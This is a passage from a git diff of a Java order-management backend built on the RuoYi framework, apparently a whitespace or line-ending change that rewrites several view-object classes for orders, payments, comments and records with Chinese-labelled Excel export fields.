b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderCdVo.java index 12909d8..8d9b49d 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderCdVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderCdVo.java @@ -1,60 +1,60 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpOrderCd; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; - - - -/** - * 拆单记录视图对象 tp_order_cd - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrderCd.class) -public class TpOrderCdVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属订单 - */ - @ExcelProperty(value = "所属订单") - private Long oid; - - /** - * 订单价格 - */ - @ExcelProperty(value = "订单价格") - private BigDecimal price; - - /** - * 下单时间 - */ - @ExcelProperty(value = "下单时间") - private Long addTime; - - /** - * 操作人 - */ - @ExcelProperty(value = "操作人") - private Long addUser; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpOrderCd; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; + + + +/** + * 拆单记录视图对象 tp_order_cd + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrderCd.class) +public class TpOrderCdVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属订单 + */ + @ExcelProperty(value = "所属订单") + private Long oid; + + /** + * 订单价格 + */ + @ExcelProperty(value = "订单价格") + private BigDecimal price; + + /** + * 下单时间 + */ + @ExcelProperty(value = "下单时间") + private Long addTime; + + /** + * 操作人 + */ + @ExcelProperty(value = "操作人") + private Long addUser; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderCommentVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderCommentVo.java index 8250c66..1eee3af 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderCommentVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderCommentVo.java @@ -1,94 +1,94 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpOrderComment; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 订单评论视图对象 tp_order_comment - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrderComment.class) -public class TpOrderCommentVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属订单 - */ - @ExcelProperty(value = "所属订单") - private Long oid; - - /** - * 评论人 - */ - @ExcelProperty(value = "评论人") - private Long uid; - - /** - * 评价等级(1=差评,2=中评,3=好评) - */ - @ExcelProperty(value = "评价等级", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=差评,2=中评,3=好评") - private Long grade; - - /** - * 速度 - */ - @ExcelProperty(value = "速度") - private Long speed; - - /** - * 质量、 - */ - @ExcelProperty(value = "质量、") - private Long quality; - - /** - * 服务 - */ - @ExcelProperty(value = "服务") - private Long serve; - - /** - * 评论内容 - */ - @ExcelProperty(value = "评论内容") - private String content; - - /** - * 评论时间 - */ - @ExcelProperty(value = "评论时间") - private Date addTime; - - /** - * 提交人类型(1=用户,2=客服) - */ - @ExcelProperty(value = "提交人类型", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=用户,2=客服") - private Long type; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpOrderComment; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 订单评论视图对象 tp_order_comment + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrderComment.class) +public class TpOrderCommentVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属订单 + */ + @ExcelProperty(value = "所属订单") + private Long oid; + + /** + * 评论人 + */ + @ExcelProperty(value = "评论人") + private Long uid; + + /** + * 评价等级(1=差评,2=中评,3=好评) + */ + @ExcelProperty(value = "评价等级", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=差评,2=中评,3=好评") + private Long grade; + + /** + * 速度 + */ + @ExcelProperty(value = "速度") + private Long speed; + + /** + * 质量、 + */ + @ExcelProperty(value = "质量、") + private Long quality; + + /** + * 服务 + */ + @ExcelProperty(value = "服务") + private Long serve; + + /** + * 评论内容 + */ + @ExcelProperty(value = "评论内容") + private String content; + + /** + * 评论时间 + */ + @ExcelProperty(value = "评论时间") + private Date addTime; + + /** + * 提交人类型(1=用户,2=客服) + */ + @ExcelProperty(value = "提交人类型", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=用户,2=客服") + private Long type; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderModelVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderModelVo.java index d489d32..b4be5e3 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderModelVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderModelVo.java @@ -1,71 +1,71 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpOrderModel; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 订单模型视图对象 tp_order_model - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrderModel.class) -public class TpOrderModelVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属订单 - */ - @ExcelProperty(value = "所属订单") - private Long oid; - - /** - * 模型名称 - */ - @ExcelProperty(value = "模型名称") - private String name; - - /** - * 模型地址 - */ - @ExcelProperty(value = "模型地址") - private String pic; - - /** - * 上传时间 - */ - @ExcelProperty(value = "上传时间") - private Date addTime; - - /** - * 操作人 - */ - @ExcelProperty(value = "操作人") - private Long addUser; - - /** - * 操作人姓名 - */ - @ExcelProperty(value = "操作人姓名") - private String addUserName; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpOrderModel; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 订单模型视图对象 tp_order_model + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrderModel.class) +public class TpOrderModelVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属订单 + */ + @ExcelProperty(value = "所属订单") + private Long oid; + + /** + * 模型名称 + */ + @ExcelProperty(value = "模型名称") + private String name; + + /** + * 模型地址 + */ + @ExcelProperty(value = "模型地址") + private String pic; + + /** + * 上传时间 + */ + @ExcelProperty(value = "上传时间") + private Date addTime; + + /** + * 操作人 + */ + @ExcelProperty(value = "操作人") + private Long addUser; + + /** + * 操作人姓名 + */ + @ExcelProperty(value = "操作人姓名") + private String addUserName; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderPayVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderPayVo.java index 4e007a5..a74c603 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderPayVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderPayVo.java @@ -1,71 +1,71 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpOrderPay; - -import java.io.Serial; -import java.io.Serializable; - - - -/** - * 订单支付记录视图对象 tp_order_pay - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrderPay.class) -public class TpOrderPayVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属订单 - */ - @ExcelProperty(value = "所属订单") - private Long oid; - - /** - * 订单编号 - */ - @ExcelProperty(value = "订单编号") - private String orderId; - - /** - * 订单价格 - */ - @ExcelProperty(value = "订单价格") - private Long price; - - /** - * 状态(1待支付,2已支付) - */ - @ExcelProperty(value = "状态(1待支付,2已支付)") - private Long state; - - /** - * 下单时间 - */ - @ExcelProperty(value = "下单时间") - private Long addTime; - - /** - * transaction_id - */ - @ExcelProperty(value = "transaction_id") - private String transactionId; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpOrderPay; + +import java.io.Serial; +import java.io.Serializable; + + + +/** + * 订单支付记录视图对象 tp_order_pay + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrderPay.class) +public class TpOrderPayVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属订单 + */ + @ExcelProperty(value = "所属订单") + private Long oid; + + /** + * 订单编号 + */ + @ExcelProperty(value = "订单编号") + private String orderId; + + /** + * 订单价格 + */ + @ExcelProperty(value = "订单价格") + private Long price; + + /** + * 状态(1待支付,2已支付) + */ + @ExcelProperty(value = "状态(1待支付,2已支付)") + private Long state; + + /** + * 下单时间 + */ + @ExcelProperty(value = "下单时间") + private Long addTime; + + /** + * transaction_id + */ + @ExcelProperty(value = "transaction_id") + private String transactionId; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderRecordVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderRecordVo.java index ce3d8e3..8a741cf 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderRecordVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderRecordVo.java @@ -1,86 +1,86 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpOrderRecord; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 操作历史视图对象 tp_order_record - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrderRecord.class) -public class TpOrderRecordVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "ID") - private Long id; - - /** - * 所属订单 - */ - @ExcelProperty(value = "所属订单") - private Long oid; - - /** - * 操作类型 - */ - @ExcelProperty(value = "操作类型") - private String type; - - /** - * 操作内容 - */ - @ExcelProperty(value = "操作内容") - private String content; - - /** - * 操作人 - */ - @ExcelProperty(value = "操作人") - private Long addUser; - - /** - * 操作人姓名 - */ - @ExcelProperty(value = "操作人姓名") - private String addUserName; - - /** - * 操作时间 - */ - @ExcelProperty(value = "操作时间") - private Date addTime; - - /** - * 操作状态(1=记录,2=节点) - */ - @ExcelProperty(value = "操作状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==记录,2=节点") - private Long state; - - /** - * json记录 - */ - private String record; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpOrderRecord; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 操作历史视图对象 tp_order_record + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrderRecord.class) +public class TpOrderRecordVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 所属订单 + */ + @ExcelProperty(value = "所属订单") + private Long oid; + + /** + * 操作类型 + */ + @ExcelProperty(value = "操作类型") + private String type; + + /** + * 操作内容 + */ + @ExcelProperty(value = "操作内容") + private String content; + + /** + * 操作人 + */ + @ExcelProperty(value = "操作人") + private Long addUser; + + /** + * 操作人姓名 + */ + @ExcelProperty(value = "操作人姓名") + private String addUserName; + + /** + * 操作时间 + */ + @ExcelProperty(value = "操作时间") + private Date addTime; + + /** + * 操作状态(1=记录,2=节点) + */ + @ExcelProperty(value = "操作状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==记录,2=节点") + private Long state; + + /** + * json记录 + */ + private String record; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderSmallVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderSmallVo.java index 6d066b3..a1d8d17 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderSmallVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderSmallVo.java @@ -1,71 +1,71 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpOrderSmall; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 订单小图视图对象 tp_order_small - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrderSmall.class) -public class TpOrderSmallVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属订单 - */ - @ExcelProperty(value = "所属订单") - private Long oid; - - /** - * 图片名称 - */ - @ExcelProperty(value = "图片名称") - private String name; - - /** - * 图片地址 - */ - @ExcelProperty(value = "图片地址") - private String pic; - - /** - * 上传时间 - */ - @ExcelProperty(value = "上传时间") - private Date addTime; - - /** - * 操作人 - */ - @ExcelProperty(value = "操作人") - private Long addUser; - - /** - * 操作人姓名 - */ - @ExcelProperty(value = "操作人姓名") - private String addUserName; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpOrderSmall; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 订单小图视图对象 tp_order_small + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrderSmall.class) +public class TpOrderSmallVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属订单 + */ + @ExcelProperty(value = "所属订单") + private Long oid; + + /** + * 图片名称 + */ + @ExcelProperty(value = "图片名称") + private String name; + + /** + * 图片地址 + */ + @ExcelProperty(value = "图片地址") + private String pic; + + /** + * 上传时间 + */ + @ExcelProperty(value = "上传时间") + private Date addTime; + + /** + * 操作人 + */ + @ExcelProperty(value = "操作人") + private Long addUser; + + /** + * 操作人姓名 + */ + @ExcelProperty(value = "操作人姓名") + private String addUserName; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderVo.java index 6f81150..5ad54c8 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderVo.java @@ -1,351 +1,351 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpOrder; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - - -/** - * 订单管理视图对象 tp_order - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrder.class) -public class TpOrderVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - *ID - */ - @ExcelProperty(value = "ID") - private Long id; - - /** - * 订单编号 - */ - @ExcelProperty(value = "订单编号") - private String orderId; - - /** - * 订单客户 - */ -// @ExcelProperty(value = "订单客户") - private Long kid; - - /** - * 订单微信 - */ -// @ExcelProperty(value = "订单微信") - private Long wid; - - /** - * 订单风格 - */ - @ExcelProperty(value = "订单风格", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "order_style") - private Long style; - - /** - * 订单空间 - */ - @ExcelProperty(value = "订单空间", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "order_space") - private String space; - - /** - * 订单品质 - */ - @ExcelProperty(value = "订单品质", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "order_quality") - private Long quality; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 订单类型 - */ - @ExcelProperty(value = "订单类型", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "order_type") - private Long type; - - /** - * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=录入订单,2=上传小图,3=上传大图,4=已完成,5=已评价") - private Long state; - - /** - * 图纸数量 - */ - @ExcelProperty(value = "图纸数量") - private Long num; - - /** - * 接待客服 - */ -// @ExcelProperty(value = "接待客服") - private Long sid; - - /** - * 微信昵称 - */ - @ExcelProperty(value = "微信昵称") - private String wname; - - /** - * 客户名称 - */ - @ExcelProperty(value = "客户名称") - private String cname; - - /** - * 接待客服名称 - */ - @ExcelProperty(value = "接待客服名称") - private String sname; - - /** - * 分图员名称 - */ - @ExcelProperty(value = "分图员名称") - private String fname; - - /** - * 表现师名称 - */ - @ExcelProperty(value = "表现师名称") - private String bname; - - /** - * 已付比例 - */ - @ExcelProperty(value = "已付比例") - private String bili; - - /** - * 分图人员 - */ - @ExcelProperty(value = "分图人员") - private Long fid; - - /** - * 表现师编号 - */ - @ExcelProperty(value = "表现师编号") - private String bid; - - /** - * 订单价格 - */ - @ExcelProperty(value = "订单价格") - private BigDecimal price; - - /** - * 定金 - */ - @ExcelProperty(value = "定金") - private BigDecimal djPrice; - - /** - * 技术备注 - */ - @ExcelProperty(value = "技术备注") - private String jsRemark; - - /** - * 支付状态(1=待支付,2=尾款待支付,3=已支付) - */ - @ExcelProperty(value = "支付状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=待支付,2=尾款待支付,3=已支付") - private Long payState; - - /** - * 已付款 - */ - @ExcelProperty(value = "已付款") - private BigDecimal payPrice; - - /** - * 尾款 - */ - @ExcelProperty(value = "尾款") - private BigDecimal endPrice; - - /** - * 改价价格 - */ - @ExcelProperty(value = "改价价格") - private BigDecimal gjPrice; - - /** - * 是否删除(1=未删除,2=已删除) - */ - @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=未删除,2=已删除") - private Long isDel; - - /** - * 下单时间 - */ - @ExcelProperty(value = "下单时间") - private Date addTime; - - /** - * 对图时间 - */ - @ExcelProperty(value = "对图时间") - private Date dtTime; - - /** - * 定金支付时间 - */ - @ExcelProperty(value = "定金支付时间") - private Date djpTime; - - /** - * 尾款支付时间 - */ - @ExcelProperty(value = "尾款支付时间") - private Date endpTime; - - /** - * 完成时间 - */ - @ExcelProperty(value = "完成时间") - private Date finishTime; - - /** - * 拆单价格 - */ - @ExcelProperty(value = "拆单价格") - private BigDecimal cdPrice; - - /** - * 技术订单价格 - */ - @ExcelProperty(value = "技术订单价格") - private BigDecimal jsPrice; - - /** - * 技术已付款 - */ - @ExcelProperty(value = "技术已付款") - private BigDecimal jsPayPrice; - - /** - * 是否自动改价(1=否,2=是) - */ - @ExcelProperty(value = "是否自动改价", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=否,2=是") - private Long isC; - - /** - * 自动改价价格 - */ - @ExcelProperty(value = "自动改价价格") - private BigDecimal zGjPrice; - - /** - * 客户已付款 - */ - @ExcelProperty(value = "客户已付款") - private BigDecimal khpay; - - /** - * 改价已付款 - */ - @ExcelProperty(value = "改价已付款") - private BigDecimal gpay; - - /** - * 是否拆单(1=否,2=是) - */ - @ExcelProperty(value = "是否拆单", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=否,2=是") - private Long isCd; - - /** - * 客服已付款 - */ - @ExcelProperty(value = "客服已付款") - private BigDecimal kfpay; - - /** - * 客户余额 - */ -// @ExcelProperty(value = "客户余额") - private BigDecimal khYue; - - /** - * 客服余额 - */ -// @ExcelProperty(value = "客服余额") - private BigDecimal kfYue; - - /** - * 时间戳 - */ - private String timestamp; - - /** - * 备用字段1 - */ - private String byOne; - - /** - * 备用字段2 - */ - private String byTwo; - - /** - * 备用字段3 - */ - private String byThree; - - /** - * 备用字段4 - */ - private Integer byFour; - - /** - * 满意度时间 - */ - private Date satisfiedTime; - - /** - * 抵扣金 - */ - private BigDecimal coupon; - - /** - * 集材社订单ID - */ - private Long jcsOrderId; - - /** - * 违约金 - */ - @ExcelProperty(value = "违约金") - private BigDecimal breach; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpOrder; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + + +/** + * 订单管理视图对象 tp_order + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrder.class) +public class TpOrderVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + *ID + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 订单编号 + */ + @ExcelProperty(value = "订单编号") + private String orderId; + + /** + * 订单客户 + */ +// @ExcelProperty(value = "订单客户") + private Long kid; + + /** + * 订单微信 + */ +// @ExcelProperty(value = "订单微信") + private Long wid; + + /** + * 订单风格 + */ + @ExcelProperty(value = "订单风格", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "order_style") + private Long style; + + /** + * 订单空间 + */ + @ExcelProperty(value = "订单空间", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "order_space") + private String space; + + /** + * 订单品质 + */ + @ExcelProperty(value = "订单品质", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "order_quality") + private Long quality; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 订单类型 + */ + @ExcelProperty(value = "订单类型", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "order_type") + private Long type; + + /** + * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=录入订单,2=上传小图,3=上传大图,4=已完成,5=已评价") + private Long state; + + /** + * 图纸数量 + */ + @ExcelProperty(value = "图纸数量") + private Long num; + + /** + * 接待客服 + */ +// @ExcelProperty(value = "接待客服") + private Long sid; + + /** + * 微信昵称 + */ + @ExcelProperty(value = "微信昵称") + private String wname; + + /** + * 客户名称 + */ + @ExcelProperty(value = "客户名称") + private String cname; + + /** + * 接待客服名称 + */ + @ExcelProperty(value = "接待客服名称") + private String sname; + + /** + * 分图员名称 + */ + @ExcelProperty(value = "分图员名称") + private String fname; + + /** + * 表现师名称 + */ + @ExcelProperty(value = "表现师名称") + private String bname; + + /** + * 已付比例 + */ + @ExcelProperty(value = "已付比例") + private String bili; + + /** + * 分图人员 + */ + @ExcelProperty(value = "分图人员") + private Long fid; + + /** + * 表现师编号 + */ + @ExcelProperty(value = "表现师编号") + private String bid; + + /** + * 订单价格 + */ + @ExcelProperty(value = "订单价格") + private BigDecimal price; + + /** + * 定金 + */ + @ExcelProperty(value = "定金") + private BigDecimal djPrice; + + /** + * 技术备注 + */ + @ExcelProperty(value = "技术备注") + private String jsRemark; + + /** + * 支付状态(1=待支付,2=尾款待支付,3=已支付) + */ + @ExcelProperty(value = "支付状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=待支付,2=尾款待支付,3=已支付") + private Long payState; + + /** + * 已付款 + */ + @ExcelProperty(value = "已付款") + private BigDecimal payPrice; + + /** + * 尾款 + */ + @ExcelProperty(value = "尾款") + private BigDecimal endPrice; + + /** + * 改价价格 + */ + @ExcelProperty(value = "改价价格") + private BigDecimal gjPrice; + + /** + * 是否删除(1=未删除,2=已删除) + */ + @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=未删除,2=已删除") + private Long isDel; + + /** + * 下单时间 + */ + @ExcelProperty(value = "下单时间") + private Date addTime; + + /** + * 对图时间 + */ + @ExcelProperty(value = "对图时间") + private Date dtTime; + + /** + * 定金支付时间 + */ + @ExcelProperty(value = "定金支付时间") + private Date djpTime; + + /** + * 尾款支付时间 + */ + @ExcelProperty(value = "尾款支付时间") + private Date endpTime; + + /** + * 完成时间 + */ + @ExcelProperty(value = "完成时间") + private Date finishTime; + + /** + * 拆单价格 + */ + @ExcelProperty(value = "拆单价格") + private BigDecimal cdPrice; + + /** + * 技术订单价格 + */ + @ExcelProperty(value = "技术订单价格") + private BigDecimal jsPrice; + + /** + * 技术已付款 + */ + @ExcelProperty(value = "技术已付款") + private BigDecimal jsPayPrice; + + /** + * 是否自动改价(1=否,2=是) + */ + @ExcelProperty(value = "是否自动改价", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=否,2=是") + private Long isC; + + /** + * 自动改价价格 + */ + @ExcelProperty(value = "自动改价价格") + private BigDecimal zGjPrice; + + /** + * 客户已付款 + */ + @ExcelProperty(value = "客户已付款") + private BigDecimal khpay; + + /** + * 改价已付款 + */ + @ExcelProperty(value = "改价已付款") + private BigDecimal gpay; + + /** + * 是否拆单(1=否,2=是) + */ + @ExcelProperty(value = "是否拆单", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=否,2=是") + private Long isCd; + + /** + * 客服已付款 + */ + @ExcelProperty(value = "客服已付款") + private BigDecimal kfpay; + + /** + * 客户余额 + */ +// @ExcelProperty(value = "客户余额") + private BigDecimal khYue; + + /** + * 客服余额 + */ +// @ExcelProperty(value = "客服余额") + private BigDecimal kfYue; + + /** + * 时间戳 + */ + private String timestamp; + + /** + * 备用字段1 + */ + private String byOne; + + /** + * 备用字段2 + */ + private String byTwo; + + /** + * 备用字段3 + */ + private String byThree; + + /** + * 备用字段4 + */ + private Integer byFour; + + /** + * 满意度时间 + */ + private Date satisfiedTime; + + /** + * 抵扣金 + */ + private BigDecimal coupon; + + /** 